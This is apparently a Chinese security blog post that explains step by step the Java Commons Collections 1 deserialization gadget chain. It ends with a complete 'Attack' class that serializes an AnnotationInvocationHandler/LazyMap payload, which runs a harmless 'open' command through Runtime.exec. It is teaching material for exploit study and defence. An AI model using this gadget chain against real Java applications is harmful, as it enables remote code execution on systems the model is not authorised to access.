Red256
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
前言
最近一直调试CC链,今天突然觉得CC2的链还是调不通就很迷茫,现在得回来重新调试CC1的链,温故而知新,把CC1搞熟练了,之后的链都会简单很多。
CommonsCollections1 第一部分
InvokerTransformer
首先要介绍的是InvokerTransformer
这个类,理解这个类的transform
功能非常重要,首先看一下它的transform
方法内容
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
/****
...无关方法省略了
***/
}
该方法的入参是Object input
就是一个对象。
Method method = cls.getMethod(iMethodName, iParamTypes);
这里先通过反射获得一个方法,等下会说到iMethodName, iParamTypes
在构造方法中是我们传入的内容,所以其实是我们可控的
return method.invoke(input, iArgs);
会通过反射执行一个方法,执行的方法就是通过iArgs
来控制的。
现在查看一下InvokerTransformer
的构造方法,可以看到就是iMethodName
,iParamTypes
,iArgs
都是通过我们的输入来获取到的
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
于是这里就很清晰了,我们可以使用InvokerTransformer
来反射执行一个方法。写一个简单的例子,启动一个记事本(Macos不能弹计算器就很烦)
先用传统的反射来执行一个
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<Runtime> runtimeClass = Runtime.class;
Method getRuntime = runtimeClass.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getRuntime.invoke(null, null);
Method exec = runtime.getClass().getMethod("exec", String.class);
exec.invoke(runtime,"open /Users/Red256/1.txt");
}
使用
InvokerTransformer
来调用
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Users/Red256/1.txt"}).transform(runtime);
}
详细解释一下InvokerTransformer
的构造方法,其中有三个参数
第一个参数:要执行的方法
第二个参数:执行的方法的参数变量的类型(是一个数组格式的)
第三个参数:执行的方法的参数内容
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
这一行代码执行的是Runtime.class
类下的getMethod
方法,那getMethod
的参数格式就是String.class,Class[].class
截图为证,一个String类型一个Class数组类型而之后第三个参数填的是
"getRuntime",null
,也就是说要得到它的getRuntime
而该方法并没有参数所以这里填写一个null
截图为证,getRuntime
方法是没有参数的之后的两行代码也是同理,继续分析内容,我们通过
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class)
获取到了Runtime.getRuntime()
方法,既然获取到了就需要执行它了,我们知道getRuntime()
方法是返回一个Runtime
对象,然后这个对象是可以执行exec
函数的,所以我们才需要invoke
它
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
invoke
之后得到的就是一个Runtime
对象啦,并且还是可以执行exec
的runtime对象,就可以invoke exec
了
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Users/Red256/1.txt"}).transform(runtime);
同样按照上面的思路分析,第一个参数是exec
,就是执行exec方法,第二个参数exec函数的参数类型是String
类型的,第三个参数就是exec
执行的内容也就是我们要执行的代码open ....
ChainedTransformer
ChainedTransformer
也是很重要的一个类,首先查看一个它的构造函数,可以看到传入的是一个Transformer[]
数组,给iTransformers
赋值。
关键步骤!transform
方法的内容是,循环调用了iTransformers
数组中的元素的transform
并把上一个执行的结果作为下一个方法的参数继续执行直到结束为止。这里就
这里就非常的巧妙的能够将我们的InvokerTransformer
的transform
方法给链接起来了
ConstantTransformer
在构造之前先说ConstantTransformer
类,这个类也很有意思,查看构造函数和transform
方法,它的transform
就是不管传入的是什么都返回一个固定内容,这个固定内容是初始化的时候传入的。所以我们初始化的时候就传入一个Runtime.class
这条链就能直接链接起来。
Payload1
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Users/Red256/1.txt"})
};
Transformer transformer = new ChainedTransformer(transformers);
这个图片我尽量的还原其中的过程,这一条链是通过transform
方法来链接起来的
CommonsCollections1 第二部分
LazyMap
现在既然找到了transform
的函数链,就要找哪个类的哪个方法会去调用transform
函数,这里就会介绍到了LazyMap
这个类的get
方法,首先看一下LazyMap
的构造函数,可以看到是一个protected
类型的方法说明不能直接调用,但是LazyMap
提供了一个decorate
方法能够new LazyMap
对象,方法的参数正好是一个Map
类型和一个Transformer
类型继续分析
LazyMap
的get
方法,可以看到其中执行了transform
方法,这样我们的利用链就可以链接上啦
LazyMap.get()--->ChainedTransformer.transform
,get方法执行的是factory.transform
而这里的factory
的对象我们可以传入chainedTransformer
。
Payload2
Map map = new HashMap();
Map outerMap = LazyMap.decorate(map,transformer);
我们首先要new HashMap()
传入decorate
,因为并不能直接new LazyMap
所以要使用decorate
方法
CommonsCollections1 第三部分
AnnotationInvocationHandler
上面找到了LazyMap
的get
方法能够链接起来就可以找谁执行了get
方法就好,于是这里介绍AnnotationInvocationHandler
的invoke
方法。
Object var6 = this.memberValues.get(var4);
执行了get
方法这里其实就涉及到动态代理的问题,对于这里有不明白的地方需要先研究一下动态代理
如何让它执行invoke
方法从而执行get
方法呢?handler
一般指的就是动态代理类,我的非常粗浅的理解,就是动态代理类像是一个工厂,将传入的内容加工一下再返回出来,使用返回出来的这个对象的时候就会调用到handler
的invoke
方法
并且这里要通过反射获得AnnotationInvocationHandler
这个类,并不能直接new
出来,因为该类是一个内部类所以不能直接new
但是可以通过反射获取到然后newInstace
Class annoHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annoCons = annoHandler.getDeclaredConstructor(Class.class, Map.class);
annoCons.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) annoCons.newInstance(Retention.class, outerMap);
Retention.class
是随便填写的一个注解,查看AnnotationInvocationHandler
的构造方法,一个参数是一个注解类,第二个是Map类,实际在我们这条链产生作用的是Map类所以注解类随便填一个就好
代理LazyMap
Map map = new HashMap();
Map outerMap = LazyMap.decorate(map,transformer);
Class annoHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annoCons = annoHandler.getDeclaredConstructor(Class.class, Map.class);
annoCons.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) annoCons.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
invocationHandler = (InvocationHandler) annoCons.newInstance(Retention.class,proxyMap);
上面一部分的完整代码是这样的,现在比较关键的就是
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
在newInstance
的时候将outerMap
装入了invocationHandler
当中,现在通过他实例化一个对象叫proxyMap
,现在执行proxyMap
中的方法都会执行到AnnotationInvocationHandler
的invoke
函数
readObject方法
反序列化最终的入口都是readObject
函数,CC1链的入口就是AnnotationInvocationHandler
的readObject
函数,会执行到
Iterator var4 = this.memberValues.entrySet().iterator();
this.memberValues
是我们自己传入的内容,所以如果传入的是proxyMap
的话就会执行proxyMap
的entrySet()
方法,根据动态代理的原理,执行proxyMap
的任何方法都会执行到AnnotationInvocationHandler
的invoke
方法,这样完整的一条链就完成了。所以最后再构造一个
AnnotationInvocationHandler
的对象进行序列化就好
invocationHandler = (InvocationHandler) annoCons.newInstance(Retention.class,proxyMap);
SerializationTest.serialize(invocationHandler);
也就是这一段代码
Payload
完整的这套链的流程大概就是这样的,如有不对的地方希望大佬们多多指点指正这里是最后的payload
public class Attack {
public static void main(String[] args) throws Exception, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Users/Red256/1.txt"})
};
Transformer transformer = new ChainedTransformer(transformers);
//LazyMap的get方法执行transforme方法
Map map = new HashMap();
Map outerMap = LazyMap.decorate(map,transformer);
Class annoHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annoCons = annoHandler.getDeclaredConstructor(Class.class, Map.class);
annoCons.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) annoCons.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
invocationHandler = (InvocationHandler) annoCons.newInstance(Retention.class,proxyMap);
SerializationTest.serialize(invocationHandler);
}
}
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)